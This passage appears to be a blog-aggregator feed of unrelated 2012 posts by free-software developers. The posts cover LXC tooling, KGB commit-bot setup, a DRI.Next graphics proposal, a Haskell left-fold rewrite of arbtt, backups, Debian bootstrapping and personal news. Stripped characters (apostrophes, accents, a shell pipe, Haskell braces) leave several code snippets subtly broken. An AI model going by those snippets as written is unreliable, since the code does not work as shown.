Scott Adams has an interesting idea for political debates he calls Fact Bubbler [1]. It sounds implausible the first time you read it, but then so did Wikipedia. Arstechnica has an interesting article on software defined radio [2]. This could change many things. The Nieder Family has another update on the way patents threaten their daughter s ability to communicate [3]. Also Apple is making things worse by taking pre-emptive strikes against iPhone apps which are involved in legal disputes never use an iPhone (or other proprietary system) for anything important if you have a choice. In more positive news crowd-funded gene sequencing has found an explanation for Maya Nieder s developmental delays [4]. This will revolutionise medicine! Steven Cherry of IEEE Spectrum has an interesting interview with Peter Cappelli about the difficulties that computer and engineering companies have in hiring talented people [5]. The Guardian has an interesting article about the non-profit investigative reporting organisation ProPublica [6]. See the ProPublica.org site for some quality news reports [7]. Michael O.Church wrote an interesting and insightful article about the fate of a Just a Programmer in a startup funded by Venture Capitalists [8]. It doesn t sound good at all. EyeNetra is developing a smart-phone based system for testing eyes [9]. It s apparently possible to manufacture glasses for $0.75 so the cost and difficulty of performing eye tests is the main factor that prevents poor people in developing countries from getting glasses. So a cheap portable eye testing system is going to help many people get the glasses they need. Bryan Gardiner wrote an interesting article for Wired about the Gorilla glass that is used in most mobile phones and tablets [10]. Maco wrote an interesting article about crochet and reverse-engineering along with a Python program to print a crochet pattern [11]. I wonder whether anyone has tried to make a crochet robot, something like a 3D printer but which crochet s things rather than printing them. Holding the wool would be a real challenge, it s not nearly as easy as printing on something that s stuck down and incapable of movement.

1. [1] http://dilbert.com/blog/entry/fact_bubbler/
2. [2] http://arstechnica.com/tech-policy/2012/07/how-software-defined-radio-could-revolutionize-wireless/
3. [3] http://niederfamily.blogspot.com.au/2012/06/silencing-of-maya.html
4. [4] http://blog.ted.com/2012/07/17/newly-discovered-gene-may-explain-4-year-olds-rare-disease-thanks-to-ted-fellow-jimmy-lin/
5. [5] http://spectrum.ieee.org/podcast/at-work/tech-careers/why-bad-jobsor-no-jobshappen-to-good-workers
6. [6] http://www.guardian.co.uk/technology/2012/jul/02/propublica-investigative-reporting
7. [7] http://www.propublica.org/
8. [8] http://michaelochurch.wordpress.com/2012/07/08/dont-waste-your-time-in-crappy-startup-jobs/
9. [9] http://eyenetra.com/
10. [10] http://www.wired.com/wiredscience/2012/09/ff-corning-gorilla-glass/all/
11. [11] http://ubuntulinuxtipstricks.blogspot.com.au/2010/10/algorithms-reverse-engineering-and.html

Related posts:

1. Links April 2012 Karen Tse gave an interesting TED talk about how to...
2. Links May 2012 Vijay Kumar gave an interesting TED talk about autonomous UAVs...
3. Links July 2012 The New York Times has an interesting article about hacker...

My foray into the world of LXC and RLXC A few months ago, I started trying out LXC (Linux Containers). Before that I used to use OpenVZ, which is an older and more mature contextualization implementation. I was pleased with how well LXC worked and started replacing my personal OpenVZ hosts with LXC. It worked great, but it had a few quirks. While LXC itself works well, the user scripts that ship with it has some space for improvement. The lxc-list command lists anything that s a directory in /var/lib/lxc, so if you have a lost+found directory, it will list it as a container (This has since been fixed upstream). Also, in some cases it would list containers twice or not at all. I was a bit annoyed with that, since OpenVZ s vzlist tool prints out a nice table of your containers along with their IP addresses and other information. Since it s very trivial to implement what I want in a shell script, I went ahead and did just that and called it RLXC. I also missed the vzctl exec <containername> command to execute commands in containers and vzctl enter <containername> to gain a shell inside the container, so I added some more functionality to it so that I could configure ssh keys for these containers and use rlxc enter and rlxc exec like I used to do with the OpenVZ tools, but by using SSH. I also realised that there are others too who wanted similar improvements in the LXC scripts and decided to continue improving RLXC and making it public. Enter LLXC I spoke to St phane about my ideas at the time and he introduced me to python3-lxc that he introduced on his blog yesterday. It provides Python bindings for liblxc, so I took the advantage of that and mostly re-implemented RLXC in Python and called it LLXC. The name doesn t particularly mean anything, I m open to suggestions for what to call it, if anyone cares. Here are some screenshots that explains some of it better than I could do in words: How to get it As St phane mentioned in the python3-lxc blog entry, the API hasn t yet been finalized and llxc itself is in an early state and many changes are planned, so it s definitely not meant for production use yet, but since we believe in release early, release often in the free software community, here goes Currently, llxc.py itself is *very* Ubuntu specific and its only been tested on Ubuntu 12.04, but that will be fixed once more of its kinks have been ironed out. Some people are also working on getting python3-lxc on other distributions, which will help a lot. The llxc.py script itself is hosted on Github: https://github.com/highvoltage/llxc For python3-lxc and friends, you need to enable St phane s experimental PPA: https://launchpad.net/~stgraber/+archive/experimental You will then need to install the following packages: lxc, python3-lxc, python3-crypto, lvm, btrfs-tools To generate the ssh keys used for ssh interaction between the containers, you need to run llxc gensshkeys . The enter and exec commands also rely on your containers being in dns or in your /etc/hosts file, at least for now, which you may have to configure manually. The Future There is a lot that I m planning to add, mostly to scratch my own itches. These include:

• Awareness of other hosts, so that the list command can show you all containers in the awareness . You d also be able to clone, move, etc containers between hosts.
• Easily modify container configuration
• Hooks everywhere, and at least one hook for configuring a configuration management system such as salt, bcfg2, puppet or chef.
• More checks and tips everywhere. Is the host running low on memory? Disk space? Perhaps list available resources on variable hosts and make some suggestions based on that.
• There a not-very-descriptive ROADMAP file in the distribution, check that for more details.

I ll have some packaging for this available soon and work on making more things work right out of the box, updates will follow. Also, feedback and patches are very welcome!

Heyya, World! I ve just got to OLF, and I m looking forward to another weekend packed full of great talks, awesome friends and late-night hacking. At some point on Saturday, I ll try to organize a Debian BSP with anyone else who s interested. If you re here, feel free to email me / say hi!

CIA.vc has unfortunately disappeared, and is unlikely to return any time soon. I personally have decided to switch to KGB, but other alternatives such as FBI and irker exist. To switch, you first need to find or set up a kgb bot. If this is a Debian associated FOSS project, feel free to contact me or join #kgb-devel on irc.oftc.net and ask for someone to allow your project to talk to their bot. Once you've found a bot, we need to set up the client. [I'll talk about bot set up at the end.]

kgb-client configuration Install the kgb-client and kgb-client-git packages. Currently, kgb only supports subversion and git, but I suspect this will be rectified shortly. For git repositories, add a post-receive hook like the following:

#!/bin/sh
tee hooks/reflog   kgb-client --conf /path/to/kgbclient.conf --repository git --git-reflog -

For subversion repositories, add a post-commit hook like the following:

#!/bin/sh
kgb-client --conf /path/to/kgbclient.conf --repository svn "$1" "$2"

Then update the configuration file /path/to/kgbclient.conf:

---
repo-id: my-repository
servers:
 - uri: http://servername:9999/
   password: verysecret
# optional link to a website where the commits are;
# needs newish kgb-client and server
web-link: http://example.com/?p=my-repository;a=commitdiff;h=$ commit 

Then, send the bot owner the password, repo-id, channel, and network you'd like the changes to be reported to.

Configuring kgb-bot The bots just listen to soap requests and if the password matches, sends the commit to the appropriate IRC channel. To set one up, install kgb-bot. Then, enable the bot (set BOT_ENBALED=1 in /etc/default/kgb-bot), and configure the bot's configuration file /etc/kgb-bot/kgb.conf:

---
soap:
  server_addr: 0.0.0.0
  server_port: 9999
  service_name: KGB
queue_limit: 150
log_file: "/var/log/kgb-bot.log"
repositories:
  # just a name to identify it
  my-repository:
    # needs to be the same on the client
    password: verysecret
networks:
  oftc:
    nick: KGB-you
    ircname: KGB bot
    username: kgb
    password: ~
    nickserv_password: yournickservpassword
    server: irc.oftc.net
    port: 6667
  freenode:
    nick: KGB-you
    ircname: KGB bot
    username: kgb
    password: ~
    nickserv_password: yournickservpassword
    server: irc.freenode.net
    port: 6667
channels:
  - name: '#your-channel'
    network: oftc
    repos:
     - your-repo
  - name: '#commits'
    network: freenode
    repos:
     - your-repo

Then start the bot (/etc/init.d/kgb-bot start), and watch as it joins channels and reports your changes! You'll probably actually want to register whatever nick you are using on the networks, etc... but you can figure that out yourself!

Thoughts about DRI.Next On the way to the X Developer s Conference in Nuremberg, Eric and I chatted about how the DRI2 extension wasn t really doing what we wanted. We came up with some fairly rough ideas and even held an informal presentation about it. We didn t have slides that day, having come up with the content for the presentation in the hours just before the conference started. This article is my attempt to capture both that discussion and further conversations held over roast pork dinners that week. A brief overview of DRI2 Here s a list of the three things that DRI2 currently offers. Application authentication. The current kernel DRM authentication mechanism restricts access to the GPU to applications connected to the DRM master. DRI2 implements this by having the application request the DRM cookie from the X server which can then be passed to the kernel to gain access to the device. This is fairly important because once given access to the GPU, an application can access any flink d global buffers in the system. Given that the application sends screen data to the X server using flink d buffers, that means all screen data is visible to any GPU-accessing application. This bypasses any GPU hardware access controls. Allocating buffers. DRI2 defines a set of attachment points for buffers which can be associated with an X drawable. An application needing a specific set of buffers for a particular rendering operation makes a request of the X server which allocates the buffers and passes back their flink names. The server automatically allocates new buffers when window sizes change, sending an event to the application so that it knows to request the new buffers at some point in the future. Presenting data to the user. The original DRI2 protocol defined only the DRI2CopyRegion request which copied data between the allocated buffers. SwapBuffers was implemented by simply copy data from the back buffer to the front buffer. This didn t provide any explicit control over frame synchronization, so a new request, DRI2SwapBuffers, was added to expose controls for that. This new request only deals with the front and back buffers, and either copies from back to front or exchanges those two buffers. Along with DRI2SwapBuffers, there are new requests that wait for various frame counters and expose those to GL applications through the OMLsynccontrol extension What s wrong with DRI2? DRI2 fixed a lot of the problems present with the original DRI extension, and made reliable 3D graphics on the Linux desktop possible. However, in the four years since it was designed, we ve learned a lot, and the graphics environment has become more complex. Here s a short list of some DRI2 issues that we d like to see fixed.

• InvalidateBuffers events. When the X window size changes, the buffers created by the X server for rendering must change size to match. The problem is that the client is presumably drawing to the old buffers when the new ones are allocated. Delivering an event to the client is supposed to make it possible for the client to keep up, but the reality is that the event is delivered at some random time to some random thread within the application. This leads to general confusion within the application, and often results in a damaged frame on the screen. Fortunately, applications tend to draw their contents often, so the damaged frame only appears briefly.
• No information about new back buffer contents. When a buffer swap happens and the client learns about the new back buffer, the back buffer contents are always undefined. For most applications, this isn t a big deal as they re going to draw the whole window. However, compositing managers really want to reduce rendering by only repainting small damaged areas of the window. Knowing what previous frame contents are present in the back buffer allows the compositing manager to repaint just the affected area.
• Un-purgable stale buffers. Between the X server finishing with a buffer and the client picking it up for a future frame, we don t need to save the buffer contents and should mark the buffer as purgable. With the current DRI2 protocols, this can t be done, which leaves all of those buffers hanging around in memory.
• Driver-specific buffers. The DRI2 buffer handles are device specific, and so we can t use buffers from other devices on the screen. External video encoders/cameras/encoders can t be used with the DRI2 extension.
• GEM flink has lots of issues. The flink names are global, allowing anyone with access to the device to access the flink data contents. There is also no reference to the underlying object, so the X server and client must carefully hold references to GEM objects during various operations.

Proposed changes for DRI.Next Given the three basic DRI2 operations (authentication, allocation, presentation), how can those be improved? Eliminate DRI/DRM magic-cookie based authentication Kristian H gsberg, Martin Peres, Timoth e Ravier & Daniel Vetter gave a talk on DRM2 authentication at XDC this year that outlined the problems with the current DRM access control model and proposed some fairly simple solutions, including using separate device nodes one for access to the GPU execution environment and a separate, more tightly controlled one, for access to the display engine. Combining that with the elimination of flink for communicating data between applications and there isn t a need for the current magic-cookie based authentication mechanism; simple file permissions should suffice to control access to the GPU. Of course, this ignores the whole memory protection issue when running on a GPU that doesn t provide access control, but we already have that problem today, and this doesn t change that, other than to eliminate the global uncontrolled flink namespace. Allocate all buffers in the application DRI2 does buffer allocation in the X server. This ensures that that multiple (presumably cooperating) applications drawing to the same window will see the same buffers, as is required by the GLX extension. We suspected that this wasn t all that necessary, and it turns out to have been broken several years ago. This is the traditional way in X to phase out undesirable code, and provides an excellent opportunity to revisit the original design. Doing buffer allocations within the client has several benefits:

• No longer need DRI2 additions to manage new GL buffers. Adding HiZ to the intel driver required new DRI2 code in the X server, even though X wasn t doing anything with those buffers at all.
• Eliminate some X round trips currently required for GL buffer allocation.
• Knowing what s in each buffer. Because the client allocates each buffer, it can track the contents of them.
• Size tracking is trivial. The application sends the GL the of the viewport, and the union of all viewports should be the same as the size of the window (or there will be undefined contents on the screen). The driver can use the viewport information to size the buffers and ensure that every frame on the screen is complete.

Present buffers through DMA-buf The new DMA-buf infrastructure provides a cross-driver/cross-process mechanism for sharing blobs of data. DMA-buf provides a way to take a chunk of memory used by one driver and pass it to another. It also allows applications to create file descriptors that reference these objects. For our purposes, it s the file descriptor which is immediately useful. This provides a reliable and secure way to pass a reference from an underlying graphics buffer from the client to the X server by sending the file descriptor over the local X socket. An additional benefit is that we get automatic integration of data from other devices in the system, like video decoders or non-primary GPUs. The Prime support added in DRI version 2.8 hacks around this by sticking a driver identifier in the driverType value. Once the buffer is available to the X server, we can create a request much like the current DRI2SwapBuffers request, except instead of implicitly naming the back and front buffers, we can pass an arbitrary buffer and have those contents copied or swapped to the drawable. We also need a way to copy a region into the drawable. I don t know if that needs the same level of swap control, but it seems like it would be nice. Perhaps the new SwapBuffers request could take a region and offset as well, copying data when swapping isn t possible. Managing buffer allocations One trivial way to use this new buffer allocation mechanism would be to have applications allocate a buffer, pass it to the X server and then simply drop their reference to it. The X server would keep a reference until the buffer was no longer in use, at which point the buffer memory would be reclaimed. However, this would eliminate a key optimization in current drivers the ability to re-use buffers instead of freeing and allocating new ones. Re-using buffers takes advantage of the work necessary to setup the buffer, including constructing page tables, allocating GPU memory space and flushing caches. Notifying the application of idle buffers Once the X server is finished using a buffer, it needs to notify the application so that the buffer can be re-used. We could send these notifications in X events, but that ends up in the twisty mess of X client event handling which has already caused so much pain with Invalidate events. The obvious alternative is to send them back in a reply. That nicely controls where the data are delivered, but causes the application to block waiting for the X server to send the reply. Fortunately, applications already want to block when swapping buffers so that they get throttled to the swap buffers rate. That is currently done by having them wait for the DRI2SwapBuffers reply. This provides a nice place to stick the idle buffer data. We can simply list buffers which have become idle since the last SwapBuffers reply was delivered. Releasing buffer memory Applications which update only infrequently end up with a back buffer allocated after their last frame which can t be freed by the system. The fix for this is to mark the buffer purgable, but that can only be done after all users of the buffer are finished with it. With this new buffer management model, the application effectively passes ownership of its buffers to the X server, and the X server knows when all use of the buffer are finished. It could mark buffers as purgable at that point. When the buffer was sent back in the SwapBuffers reply, the application would be able to ask the kernel to mark it un-purgable again. A new extension? Or just a new DRI2 version? If we eliminate the authentication model and replace the buffer allocation and presentation interfaces, what of the existing DRI2 protocol remains useful? The only remaining bits are the other synchronization requests: DRI2GetMSC, DRI2WaitMSC, DRI2WaitSBC and DRI2SwapInterval. Given this, does it make more sense to leave DRI2 as it is and plan on deprecating, and eventually eliminating, it? Doing so would place a support burden on existing applications, as they d need to have code to use the right extension for the common requests. They ll already need to support two separate buffer management versions though, so perhaps this burden isn t that onerous?

I was invited as a panelist for the Laboratorio Repensar el derecho de autor y el derecho de copia en la era digital:
di logo sobre artes, regulaciones y disponibilidad de la cultura at the beautiful Foro del Dinosaurio in the Museo del Chopo, located very centrally in Mexico City. The list of speakers is quite interesting, and makes me very interested and happy to be there. The laboratory will be next week, Wednesday through Friday. I am scheduled to be part of the 17:00 table, Knowledge availability and regulation in Internet, coordinated by Pedro Mendiz bal (Creative Commons Per ), and together with Juan Vouts s (Biblotecologic Research Institute, UNAM), Armida Aponte (Creative Commons M xico). The other topics that will be covered are:

• Rights, technologies and commons
• The culture and its industries in the digital age: What are the interests at stake?
• Intelectual, cultural and scientific works: Open access or availability?
• New business models around copyright-protected works
• nowledge availability and regulation in Internet
• Visual arts and copyright in the digital media
• Open governments and citizenship: Information, data and intelectual works

Sadly, it does not seem they have planned for remote people to follow along. I will ask and update here if there is any way for people outside Mexico City to tune in For people able to attend, it's free entrance (and certificates will be given to people pre-registered, if you are interested, call 5535-2288 ext. 123) For further details on the participants, go to the laboratory's web page. Update: The talks will be streamed! http://www.chopo.unam.mx/chopoenvivo.html, via UStream.

Just about three years ago, I created the automatic rule-based time tracker (arbtt), a tool that quietly runs in the background, records your current windows and their titles, and allows you to later process this data using, well, rules. By now, I have almost half a million records, spanning 317 days of me working at the computer. Processing this amount of data has become very memory-hungry: It takes 1G of RAM to process my data. Other users, with a presumably higher sampling rate, report even worse performance, which finally made me approach the problem again. Naturally, one wonders why it is such a memory hog, after all it takes just one run over the data to produce a report. The data itself is a lazy list so the garbage collector should the be able to drop the seen elements immediately. But arbtt is able to print several reports in one run; there is even an option (--each-category) that creates a number of reports based on the data itself. The code was structured that first a number of values that are possibly used by several reports are first created one and then re-used by the reports. And then there is the issue of the filters: The user specifies a what predicates are interesting (e.g., those where he was active) and some reports need to know not only which samples were matched, but also distinguish the consecutive runs of selected samples. Lots of reasons that made it hard to not use the list of of samples several times, which causes it to be completely retained in memory. The idea of completely rewriting everything in a much more imperative way was not appealing. But luckily Haskell s good abstraction possibilities can help here. What is the correct way to traverse a lazy list and calculate some information about it? It is a strict left fold, i.e. an algorithm that can be represented as arguments to

foldl' :: (s -> x -> s) -> s -> [x] -> s

For those who are new to folds: The first argument is a function that processes one element from the list, returning the new state of the processing. The second argument is the initial state. And foldl' can apply such an algorithm to a list to return a final state. So obviously I had to express my reports as left folds. To think clearer about it, I gave them a name. I also added a finishing step to the mix, which is handy:

data LeftFold x a = forall s. LeftFold  
  start :: s,
  process :: s -> x -> s,
  finish :: s -> a
   

A value of type LeftFold x a is then an algorithm that traverses a list of xes and returns something of type a. The forall s. means that the user of such a processor must not make any assumptions about the type of the state. I also have a function that runs such a list processor, simply by invoking foldl' with the arguments stored in the LeftFold constructor:

runLeftFold :: LeftFold x a -> [x] -> a
runLeftFold (LeftFold st1 p1 f1) xs = f1 (foldl' p1 st1 xs)

Now, as a Haskell programmer, I am searching for monads everywhere, and it really would have been nice if this were a monad, as they are very easy to compose. But unfortunately, they do not form a monad. If they did then I could decide after running one processor and looking at the result how I would want to process the list now, but this obviously contradicts with the desire to traverse the list only once. But there is the monad s smaller ugly sibling, the applicative functor. One can still somewhat nicely compose them to form more complex algorithms, just with more restrictions. Here is my instance:

instance Functor (LeftFold x) where
  fmap f (LeftFold st1 p1 f2) = LeftFold st1 p1 (f . f2)
instance Applicative (LeftFold x) where
  pure x = LeftFold () const (const x)
  LeftFold st1 p1 f1 <*> LeftFold st2 p2 f2 = LeftFold  
  start  =  st1 :!: st2,
  process = \(s1 :!: s2) x -> p1 s1 x :!: p2 s2 x,
  finish  = \(s1 :!: s2)  -> f1 s1 (f2 s2)
   

The :!: operator is a strict tuple constructor. This is important, as otherwise the fold would be come a lazy one, I would be building up huge numbers of thunks and performance would be very bad. For the same reason every list processor should make sure that its state does not build thunks once it is in weak head normal form. Now I am at a abstraction level that I feel comfortable working in, by writing functions that combine the list processors in various ways. Probably the most important one for me is already present in the libraries (here with a specialized type):

sequenceA :: [LeftFold x a] -> LeftFold x [a]

This is the whole trick: Now I can, based on the user input, run any number and selection of reports in one single list traversal. I find it very elegant that under the hood , the strict tuples are nested at precisely the right depth depending on the length of the list. As hinted at before, I do some interesting stuff that was previously represented as lists of lists of values. Expressing these as left folds was a bit tricky, but again, the complexity is contained in the combinators that I wrote (although it still gets confusing, check out processIntervalReport in Stats.hs):

monoidFold :: Monoid m => LeftFold m m
mapElems :: LeftFold y a -> (x -> y) -> LeftFold x a 
filterWith :: (x -> Bool) -> LeftFold (Bool :!: x) a -> LeftFold x a
onSelected :: LeftFold x a -> LeftFold (Bool :!: x) a
onJusts :: LeftFold x a -> LeftFold (Maybe x) a
onAll :: LeftFold x a -> LeftFold (Bool :!: x) a
runOnGroups :: (x -> x -> Bool) -> LeftFold x y -> LeftFold y z -> LeftFold x z
runOnIntervals :: LeftFold x y -> LeftFold y z -> LeftFold (Bool :!: x) z
lfLength :: LeftFold x Int
lfFirst :: LeftFold x (Maybe x)
lfLast :: LeftFold x (Maybe x)
toList :: LeftFold x [x]
concatFold :: LeftFold [x] [x]

As a result, the program now only requires 10MB and runs 18% faster. If you wonder why, in the definition of runLeftFold, I do not apply the finish function strictly: That is intentional; I am actually passing the result of a processor that calculates some often required data (e.g. total time recorded) as an argument to all the list processors. (Near the end of the main function in stats-main.hs) This loop works fine as long as I am using these only in the finish functions.
There is one downside to this approach: I cannot easily calculate stuff on demand and share it between two reports. Previously, I could just bind this to a variable, pass it to all reports, only if at least one is interested it would be evaluated and if several are interested, the result would be shared. I do not have a good solution for this yet. The code above is in the self-contained module LeftFold.hs in the arbtt sources.
Several People have had this idea before, here is one blog post by Max Rabkin.
Flattr this post

I'm just back from having spent a week in Helsinki. Despite some minor irritations (the light-switches were always too damn low) it was a lovely trip. There is a lot to be said for a place, and a culture, where shrugging and grunting counts as communication. Now I'm back, catching up on things, and mostly plotting and planning how to handle my backups going forward. Filesystem backups I generally take using backup2l, creating local incremental backup archives then shipping them offsite using rsync. For my personal stuff I have a bunch of space on a number of hosts and I just use rsync to literally copy my ~/Images, ~/Videos, etc.. In the near future I'm going to have access to a backup server which will run rsync, and pretty much nothing else. I want to decide how to archive my content to that - securely. The biggest issue is that my images (.CR2 + .JPG) will want to be encrypted remotely, but not locally. So I guess if I re-encrypt transient copies and rsync them I'll end up having to send "full" changes each time I rsync. Clearly that will waste bandwidth. So my alternatives are to use incrementals, as I do elsewhere, then GPG-encrypt the tar files that are produced - simple to do with backup2l - and us rsync. That seems like the best plan, but requires that I have more space available locally since :

• I need the local .tar files.
• I then need to .tar.gz.asc/.tar.gz.gpg files too.

I guess I will ponder. It isn't horrific to require local duplication, but it strikes me as something I'd rather avoid - especially given that we're talking about rsync from a home-broadband which will take weeks at best for the initial copy.

We've been thinking about getting a dog for ages, but it's been difficult to work out the logistics when we've been travelling so much. Well, today's the day!

Pepper is a Parson Russell Terrier, and she's 3 years old. We just collected her from the lovely people at Wood Green Animals Shelter. Her previous owner passed away recently, so she was looking for a new home. We've just brought her home and things are going great - she's very well behaved (so far!) and is loving a new place with lots of fuss and cuddles.

Back at the beginning of September, Jo and I were invited up to Aberdeen for a weekend for a party to celebrate the 50th wedding anniversary of some friends. Then we decided to stay around for a few days - it was our 1st anniversary just two days later. :-) We had a great time at the party, and had some awesome weather for the weekend (especially considering the time of year!). We travelled around a bit for the next few days, visiting Crathes Castle, John O' Groats and Culloden amongst other places. We stayed in a hotel overlooking Loch Ness for the evening of our own anniversary, but no sign of Nessie! We headed back via Gretna Green and visited the famous (if tacky!) Blacksmith's there, then headed home. Having done both Land's End and John O' Groats in one year, we've covered the length of Great Britain. We thoroughly enjoyed ourselves for a few days, especially the lovely roads with very few people on them! Also we got to see some very unusual road signs that made us chuckle...

We'll definitely go back again soon!

Hey, long time no see! Okay, so what's new in FusionForge land these days? Well, I guess the most prominent news is that we've just declared 5.2 stable. It's been uploaded to fusionforge.org already, and Debian packages are on their way to Debian unstable. Yay! Not-yay: the final weeks convinced us that the state of the 5.2 release candidates, and especially the packages in Debian Wheezy, wasn't near good enough for inclusion in a stable Debian release. So the packages won't be officially part of Wheezy when it comes out, to our great shame. The packages from unstable should work fine however, and we'll provide backports via the official Debian channel, backports.debian.org as soon as possible. And finally: the developers (and some users) of FusionForge will gather for a work session in Paris on the 10th of October, as described on the Meeting/Oct2012 page on the FusionForge wiki. Join us if you're interested!

Some days ago I moved to Aberdeen, Scotland, and I m still experiencing some issues with my Internet connection, so I m not yet able to come back to work on packaging stuff as usual. So please, have some patience, I ll be right back soon

Last week, I was invited to give a talk about my Debian bootstrapping efforts at IRILL in Paris. The slides of my talk are online as pdf. The time I spent in Paris with Pietro Abate was very fruitful. I have to thank him and Roberto di Cosmo for inviting me and even compensating for my travel expenses. The things we actually managed to implement during my visit:

• removed huge chunks of code that were not needed anymore, making everything more concise and pretty: ended up removing over 1600 lines
• basebuildsystem.ml can now fill add-cross-sources.list with sources for debhelper (as debhelper is quite build-essential)
• start evaluating Gentoo as a source for reduced build dependencies
• add unit test skeleton and material
• compile with dose3 master
• add graphML output
• feed graphs into analysis tools for visualization

The two most important things (in my opinion) that we came up with for future implementation, were the idea to harvest reduced build dependency information from Gentoo as well as finding a flaw in the way the current dependency graph relates to binary packages and their installation sets. I am still busy with evaluating output from my trials with Gentoo, so I will cover this topic in a later blog post once I generated the actual impact on the dependency graph. The current status is, that Gentoo USE flags allow me to find possibly droppable build dependencies for 250 out of the 350 interesting Debian source packages that are part of the main scc. Pietro also found a current flaw in how the dependency graph is generated. While source package A and B might both depend on binary package C (and its installation set), it is wrong to add a dependency to C from both source packages without further verification. Due to virtual packages and disjunctive dependencies, C might have many possible installation sets. Only one of them is chosen in the current code. The problem is, that this one chosen set might conflict with the other build dependencies of source packages depending on C. Therefor, there must exist multiple binary package nodes C, each with a different installation set, dynamically generated as they are needed. Source packages must point to the node for C that possesses an installation set that doesnt conflict with its own build dependencies. Other TODO notes that we came up with and that I will be implementing are:

• integrating dose3 as a git submodule
• create a proper build system
• try using a different cudf solver
• unit tests
• finally coming up with a name (suggestions welcome - I'm bad at name-finding)
• building a Debian package (depends on having a name first)
• formalize/visualize/document the current algorithms
• to break the main scc, use additional heuristics like:
  • the order induced by reduced_dist to classify nodes in the graph
  • centrality/distance in graph
  • comparing scc of different Debian snapshots with each other

As I cannot always depend on new dose3 versions being pushed to Debian Sid right after their release, I will do the dose3 git submodule integration over the weekend. This will allow me to evaluate the results I got from my evaluation of Gentoo USE flags that I gathered over the past week.

So, yay! Title says it all! On Saturday September 22, Regina and I got married in my parents' house, in Cuernavaca, Morelos. We had a very very nice little party with our family and a small group of friends Of course, due to the nature of our life, we could not forego inviting our family and friends in Argentina, as well as those in other parts of the world, so we set up a simple video stream so that our friends could follow along And they did, with much greater success than what I expected! So, besides those people present with us in Cuernavaca, we had people tuning in (at least to the degree I could get from the log files) from Argentina (Buenos Aires, Paran , Formosa), Austria, Canada, France, Germany, Hungary, Italy, Macedonia, Mexico, Poland, Spain, Sweden and the United States. This next Saturday (September 29) we will have a second party, to which our friends in Mexico are invited, at home. And for the people from far away,, the stream will be available again Expect at least one interesting surprise :) PS- Visit also our wedding page, with some photos, video, and general information (Warning! Part of it is outdated by now)

A couple days ago, I woke up to this exciting series of text messages from a unfamiliar phone number. Because I've not received a reply in the last couple days, because it was a Seattle phone number but I haven't lived in Seattle for years, and because I don't know of anyone in Seattle who was about to give birth, I'm pretty confident that this was indeed a case of misdirected text messages! But whoever you are: Congratulations! I know it was a mistake, but that really made my day!

Data, once put on the internet, are quite hard to delete. You can most likely delete (or ask for deleting) them from place where it has been originally distributed, but you can be never sure where else it has appeared. Recently, I've seen several requests to remove some data from Gammu testsuite. This testsuite was created using public data available in our bug tracker, simply to be able to verify that we won't break stuff which was earlier fixed. It turns out that some people did make public some very private stuff, which was included in the testsuite in the end. None of the developers had clue about content of these messages, being in language which nobody of us understands (and being too lazy to run them through Google translator to understand them). Of course we've removed the data on request, but it's probably already copied in dozen other places on the internet...

Filed under: English Gammu 0 comments Flattr this!

I just finished reading this article about data security and how easily it can be done wrong. A real eye opener, if you're thinking about breeding your own solution. I highly recommend it, in spite of the initially weird feeling of reading something that looks like a script.

The only mail-filing feature that is consistently available across all mail clients (web, mobile, desktop) and most often via a convenient button, keypress or gesture, is Delete. For a long time, I've had an email work-flow that involved archiving most mail: saving both sent and received mails to a series of folders, so I could refer back to them if necessary (and they turned up in search results). Lots of mail clients make this easy: Thunderbird supports defining an Archive folder and pressing 'a' when a mail is highlighted will move it into Archive/YYYY. Mutt, of course, can be configured to do almost anything, and I've had it set up to move mail into =archive when you hit 'a' for a long time. Sadly, other clients are not as friendly. Outlook doesn't support anything quite so convenient. Mobile clients on Android, iPhone etc. don't have easy archiving support. Neither do webmail clients like OWA. Increasingly, I check my work mail on the go: waiting for a lift, on the train to work, in a irrelevant part of a meeting, waiting for a coffee refill, etc. However, I can rarely file mail this way: I learn facts, I can react to things quickly, but I can't keep my inbox under control. For this reason I'm adjusting my workflow around 'Delete'. For work, I've set up an Exchange filter to automatically copy any message that lands in my Inbox into an Archive folder. This was surprisingly difficult to get right, and there are ongoing problems with conversation view and other things. However, once that is in place, I can merrily delete stuff from my Inbox with impunity, safe in the knowledge that I can still get stuff via search if needed. I'll need a separate process to further organise filtered mail, but that's fine. Launching mutt or Thunderbird specifically to shuffle mail into e.g. archive/2012 works for me. I still need to run my mail archiving script to extract attachments on occasion anyway.

I ve just read Diego s response to an ill-informed NYT article about data-center power efficiency [1]. This makes me wonder, how much server use does each person have? Google Almost everyone uses Google, most of us use it a lot. The main Google product is also probably the most demanding, their search engine. In a typical day I probably do about 50 to 100 Google searches, that sounds like a lot, but half of them would probably be for one topic that is difficult to find. I don t think that I do that many Google searches because I generally know what I m doing and when I find what I need I spend a lot of time reading it. I m sure that many people do a lot more. Each Google search takes a few seconds to complete (or maybe more if it s an image search and I m on a slow link), but I think it s safe to assume that more than a few seconds of CPU time are involved. How much work would each Google search take if performed on a single system? Presumably Google uses the RAM of many systems as cache which gives a result more similar to a NUMA system than one regular server working for a longer time so there is no way of asking how long it would take to do a Google search with a single server. But I m sure that Google has some ratio of servers to the rate of requests coming in, it s almost certainly a great secret, but we can make some guesses. If the main Google user base comprises people who collectively do an average of 100 searches per day then we can probably guess at the amount of server use required for each search based on the number of servers Google would run. I think it s safe to assume that Google doesn t plan to buy one server for every person on the planet and that they want to have users significantly outnumbering servers. So even for core users they should be aiming to have each user only take a fraction of the resources that one server adds to the pool. So 100 searches probably each take more than 1 second of server use. But they almost certainly take a lot less than 864 seconds (the server use if Google had one server for every 100 daily requests which would imply one server for each of the heavier users). Maybe it takes 10 seconds of server use (CPU, disk, or network whichever is the bottleneck) to complete one search request. That would mean that if the Google network was at 50% utilisation on average then they would have 86400*.5/10/100 == 43 users per server for the core user base who average 100 daily requests. If there are 80M core users that would be about 2M servers, and then maybe something like another 4M servers for the rest of the world. So I could be using 1000 seconds of server time per day on Google searches. I also have a Gmail account which probably uses a few seconds for storing email and giving it to Fetchmail, and I have a bunch of Android devices which use Google calendars, play store, etc. The total Google server use on my behalf for everything other than search is probably a rounding error. But I could be out by an order of magnitude, if it only took 1 second of server use for a Google search then I would be at 100 server seconds per day and Google would only need one server for every 430 users like me. Google also serves lots of adverts on web sites that I visit, I presume that serving the adverts doesn t take much resources by Google standards. But accounting for it, paying the people who host content, and detecting fraud probably takes some significant resources. Other Big Services There are many people who spend hours per day using services such as Facebook. No matter how I try to estimate the server requirements it s probably going to be fairly wrong. But I ll make a guess at a minute of server time per hour. So someone who averages 3 hours of social networking per day (which probably isn t that uncommon) would be using 180 seconds of server time. Personal Servers The server that hosts my blog is reasonably 